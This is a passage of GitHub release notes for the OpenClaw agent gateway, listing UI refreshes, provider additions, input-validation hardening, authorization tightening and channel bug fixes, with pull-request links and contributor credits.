<li>Mobile and chat surfaces got a broader refresh: the iOS Pro UI, Gateway chat transport, onboarding, Talk permissions, WebChat reconnect delivery, and session picker behavior now preserve more state across reconnects and empty searches. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534475516" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87367" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87367/hovercard" href="https://github.com/openclaw/openclaw/pull/87367">#87367</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537867197" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87531" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87531/hovercard" href="https://github.com/openclaw/openclaw/pull/87531">#87531</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541460557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87682/hovercard" href="https://github.com/openclaw/openclaw/pull/87682">#87682</a>)</li>
<li>Browser, channel, and automation inputs are stricter: Browser tool timeouts, viewport/tab indices, Gateway ports, cron retry handling, Discord component ids, schema array refs, Telegram callback pages, and channel progress callbacks now reject malformed values earlier and preserve the intended delivery context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462211584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82887" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82887/hovercard" href="https://github.com/openclaw/openclaw/pull/82887">#82887</a>)</li>
<li>Provider, media, and document coverage expands with Claude Opus 4.8, Fal Krea image schemas, NVIDIA featured models, MiniMax streaming music responses, encrypted PDF extraction, voice model catalogs, GitHub Copilot agent runtime support, and a Codex Supervisor plugin path for delegated Codex workflows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545001692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87845" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87845/hovercard" href="https://github.com/openclaw/openclaw/pull/87845">#87845</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545739723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87890/hovercard" href="https://github.com/openclaw/openclaw/pull/87890">#87890</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424322077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80775/hovercard" href="https://github.com/openclaw/openclaw/pull/80775">#80775</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491159526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84764/hovercard" href="https://github.com/openclaw/openclaw/pull/84764">#84764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542757246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87751" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87751/hovercard" href="https://github.com/openclaw/openclaw/pull/87751">#87751</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544160876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87794/hovercard" href="https://github.com/openclaw/openclaw/pull/87794">#87794</a>)</li>
<li>CLI, auth, doctor, and provider paths fail faster and recover more clearly: malformed numeric/version options are rejected, workspace dotenv provider credentials are ignored, OAuth and local service startup requests are bounded, legacy <code>api_key</code> auth profiles migrate to canonical form, and restart guidance is actionable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535278756" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87398" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87398/hovercard" href="https://github.com/openclaw/openclaw/pull/87398">#87398</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513750971" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86281" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86281/hovercard" href="https://github.com/openclaw/openclaw/pull/86281">#86281</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534263190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87361/hovercard" href="https://github.com/openclaw/openclaw/pull/87361">#87361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470260031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83655" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83655/hovercard" href="https://github.com/openclaw/openclaw/pull/83655">#83655</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538477112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87559/hovercard" href="https://github.com/openclaw/openclaw/pull/87559">#87559</a>)</li>
<li>Plugin and Gateway hot paths do less repeated work while preserving cache correctness for install records, config JSON parsing, tool search catalogs, session stores, manifest model rows, auto-enabled plugin config, browser tokens, and viewer assets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520495731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86699" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86699/hovercard" href="https://github.com/openclaw/openclaw/pull/86699">#86699</a>)</li>
<li>Release, QA, and E2E validation now bound more log, artifact, harness, and cross-OS waits so failing lanes produce proof instead of hanging or false-greening.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Status: show active subagent details in status output.</li>
<li>Diffs: split the default language pack and expand default Diffs language coverage while keeping the host floor aligned. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534535212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87370/hovercard" href="https://github.com/openclaw/openclaw/pull/87370">#87370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534563692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87372" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87372/hovercard" href="https://github.com/openclaw/openclaw/pull/87372">#87372</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>ClawHub: add plugin display names plus skill verification and trust surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534140530" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87354" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87354/hovercard" href="https://github.com/openclaw/openclaw/pull/87354">#87354</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520495731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86699" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86699/hovercard" href="https://github.com/openclaw/openclaw/pull/86699">#86699</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thewilloftheshadow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thewilloftheshadow">@thewilloftheshadow</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>.</li>
<li>iOS: refresh the dev app with Pro Command, Chat, Agents, and Settings tabs wired to gateway sessions, diagnostics, chat, and realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534475516" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87367" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87367/hovercard" href="https://github.com/openclaw/openclaw/pull/87367">#87367</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>Docs: clarify Codex computer-use setup, paste-token stdin auth setup, macOS gateway sleep troubleshooting, native Codex hook relay recovery, container model auth, install deployment cards, device-token admin gating, CLI setup flow compatibility, and backport targets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533118068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87313/hovercard" href="https://github.com/openclaw/openclaw/pull/87313">#87313</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4223303633" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63050" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63050/hovercard" href="https://github.com/openclaw/openclaw/pull/63050">#63050</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541567603" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87685" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87685/hovercard" href="https://github.com/openclaw/openclaw/pull/87685">#87685</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bdjben/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bdjben">@bdjben</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoandi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoandi">@liaoandi</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thewilloftheshadow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thewilloftheshadow">@thewilloftheshadow</a>.</li>
<li>PDF/tools: use ClawPDF for PDF extraction, support encrypted PDF extraction, and surface MCP structured content in agent tool results. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541241418" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87670" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87670/hovercard" href="https://github.com/openclaw/openclaw/pull/87670">#87670</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542757246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87751" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87751/hovercard" href="https://github.com/openclaw/openclaw/pull/87751">#87751</a>)</li>
<li>Providers: add Claude Opus 4.8 support, Fal Krea image model schemas, NVIDIA featured model catalogs, MiniMax streaming music responses, and provider-backed voice model catalogs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545001692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87845" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87845/hovercard" href="https://github.com/openclaw/openclaw/pull/87845">#87845</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545739723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87890/hovercard" href="https://github.com/openclaw/openclaw/pull/87890">#87890</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424322077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80775/hovercard" href="https://github.com/openclaw/openclaw/pull/80775">#80775</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491159526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84764/hovercard" href="https://github.com/openclaw/openclaw/pull/84764">#84764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544160876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87794/hovercard" href="https://github.com/openclaw/openclaw/pull/87794">#87794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex/GitHub: add the GitHub Copilot agent runtime and the Codex Supervisor plugin package.</li>
<li>Discord: show commentary in progress drafts so live Discord runs expose useful in-progress context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499607477" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85200" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85200/hovercard" href="https://github.com/openclaw/openclaw/pull/85200">#85200</a>)</li>
<li>Plugin SDK: add a reply payload sending hook for plugins that need to deliver channel-owned replies and flatten package types for SDK declarations. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461890496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82823" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82823/hovercard" href="https://github.com/openclaw/openclaw/pull/82823">#82823</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529621686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87165" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87165/hovercard" href="https://github.com/openclaw/openclaw/pull/87165">#87165</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Policy: add policy comparison, ingress-channel conformance, and sandbox-posture conformance checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506435604" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85572" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85572/hovercard" href="https://github.com/openclaw/openclaw/pull/85572">#85572</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508594455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85744" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85744/hovercard" href="https://github.com/openclaw/openclaw/pull/85744">#85744</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521746245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86768" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86768/hovercard" href="https://github.com/openclaw/openclaw/pull/86768">#86768</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents: fall back to local config pruning when the optional <code>agents delete</code> Gateway probe cannot authenticate, so offline installs can still delete agents without removing shared workspaces.</li>
<li>Tighten phone-control mutation authorization [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529379329" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87150" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87150/hovercard" href="https://github.com/openclaw/openclaw/pull/87150">#87150</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Clarify directive persistence authorization policy [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515051227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86369" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86369/hovercard" href="https://github.com/openclaw/openclaw/pull/86369">#86369</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Agents/Codex: keep spawned agent cwd/workspace state separated, keep hook context prompt-local, release session locks on timeout abort and runtime teardown, avoid session event queue self-wait, clean up exec abort listeners, stream assistant deltas incrementally, recover raw missing-thread compaction failures, preserve shared app-server state across startup or helper failures, keep native hook relay alive across restarts and prune stale bridge files, keep Claude live tool progress visible for watchdog recovery, suppress abandoned requester completion handoff, route workspace memory through tools, resolve Codex runtime models first, report quarantined dynamic tools, format <code>skills</code> command output, and bound compaction/steering retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4530733870" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87218/hovercard" href="https://github.com/openclaw/openclaw/pull/87218">#87218</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523882966" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86875/hovercard" href="https://github.com/openclaw/openclaw/pull/86875">#86875</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512236257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86123" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86123/hovercard" href="https://github.com/openclaw/openclaw/pull/86123">#86123</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535300059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87399" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87399/hovercard" href="https://github.com/openclaw/openclaw/pull/87399">#87399</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534684461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87375" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87375/hovercard" href="https://github.com/openclaw/openclaw/pull/87375">#87375</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332970426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72574" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72574/hovercard" href="https://github.com/openclaw/openclaw/issues/72574">#72574</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534791510" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87383" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87383/hovercard" href="https://github.com/openclaw/openclaw/pull/87383">#87383</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535326369" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87400" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87400/hovercard" href="https://github.com/openclaw/openclaw/pull/87400">#87400</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462962983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83022/hovercard" href="https://github.com/openclaw/openclaw/pull/83022">#83022</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541273558" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87671" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87671/hovercard" href="https://github.com/openclaw/openclaw/pull/87671">#87671</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542561311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87738" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87738/hovercard" href="https://github.com/openclaw/openclaw/pull/87738">#87738</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542726387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87747" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87747/hovercard" href="https://github.com/openclaw/openclaw/pull/87747">#87747</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542013718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87706/hovercard" href="https://github.com/openclaw/openclaw/pull/87706">#87706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538196198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87546" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87546/hovercard" href="https://github.com/openclaw/openclaw/pull/87546">#87546</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538136913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87541" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87541/hovercard" href="https://github.com/openclaw/openclaw/pull/87541">#87541</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjf">@sjf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Channels: thread canonical session keys into outbound hooks, preserve Matrix room-id case, keep fallback tool warnings mention-inert, retain delivered Slack final replies during late cleanup, continue iMessage polling after denied reactions, suppress duplicate native exec approvals, preserve Telegram SecretRef prompt config and polling keepalives, preserve WhatsApp profile auth roots, QR display, document filenames, and plugin hook config, suppress Discord recovered tool warnings, preserve the Discord voice outbound helper, and block untrusted Teams service URLs while keeping TeamsSDK patterns aligned. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345081037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73706/hovercard" href="https://github.com/openclaw/openclaw/pull/73706">#73706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364693778" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75670" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75670/hovercard" href="https://github.com/openclaw/openclaw/issues/75670">#75670</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534435733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87366" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87366/hovercard" href="https://github.com/openclaw/openclaw/pull/87366">#87366</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536461472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87451" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87451/hovercard" href="https://github.com/openclaw/openclaw/pull/87451">#87451</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536746747" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87465" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87465/hovercard" href="https://github.com/openclaw/openclaw/pull/87465">#87465</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533570288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87334" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87334/hovercard" href="https://github.com/openclaw/openclaw/pull/87334">#87334</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370029391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76262/hovercard" href="https://github.com/openclaw/openclaw/pull/76262">#76262</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465217648" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83304" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83304/hovercard" href="https://github.com/openclaw/openclaw/pull/83304">#83304</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4459071895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82492" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82492/hovercard" href="https://github.com/openclaw/openclaw/pull/82492">#82492</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4538876168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87581" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87581/hovercard" href="https://github.com/openclaw/openclaw/pull/87581">#87581</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374077022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/77114" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/77114/hovercard" href="https://github.com/openclaw/openclaw/pull/77114">#77114</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515934850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86426" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86426/hovercard" href="https://github.com/openclaw/openclaw/pull/86426">#86426</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505928215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85529/hovercard" href="https://github.com/openclaw/openclaw/pull/85529">#85529</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529579598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87160/hovercard" href="https://github.com/openclaw/openclaw/pull/87160">#87160</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeroaltitude/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeroaltitude">@zeroaltitude</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lukeboyett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lukeboyett">@lukeboyett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiaotian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiaotian">@xiaotian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heyitsaamir/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heyitsaamir">@heyitsaamir</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amittell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amittell">@amittell</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liorb-mountapps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liorb-mountapps">@liorb-mountapps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/masatohoshino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/masatohoshino">@masatohoshino</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bladin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bladin">@bladin</a>, and <a class="user-mention 